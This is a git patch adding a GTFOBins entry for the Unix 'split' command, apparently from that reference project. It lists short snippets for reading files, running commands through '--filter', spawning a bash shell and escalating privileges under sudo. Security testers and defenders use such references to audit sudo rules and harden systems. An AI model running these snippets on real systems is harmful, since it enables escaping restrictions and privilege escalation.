From cb7cb672f26ac2f5e06c7bcf4f4ed4f52ff23535 Mon Sep 17 00:00:00 2001 From: Emanuel Duss Date: Fri, 13 Nov 2020 11:59:14 +0100 Subject: [PATCH] New command: split --- _gtfobins/split.md | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 _gtfobins/split.md diff --git a/_gtfobins/split.md b/_gtfobins/split.md new file mode 100644 index 0000000..cd805c6 --- /dev/null +++ b/_gtfobins/split.md @@ -0,0 +1,27 @@ +--- +functions: + file-read: + - code: | + LFILE=file_to_read + TF=$(mktemp) + split $LFILE $TF + cat $TF* + command: + - description: Command execution using an existing or new created file. + - code: | + COMMAND=id + TF=$(mktemp) + split --filter=$COMMAND $TF + - description: Command execution using stdin (and close it directly). + code: | + COMMAND=id + echo | split --filter=$COMMAND /dev/stdin + shell: + - code: | + split --filter=bash /dev/stdin + sudo: + - code: | + split --filter=bash /dev/stdin +--- + +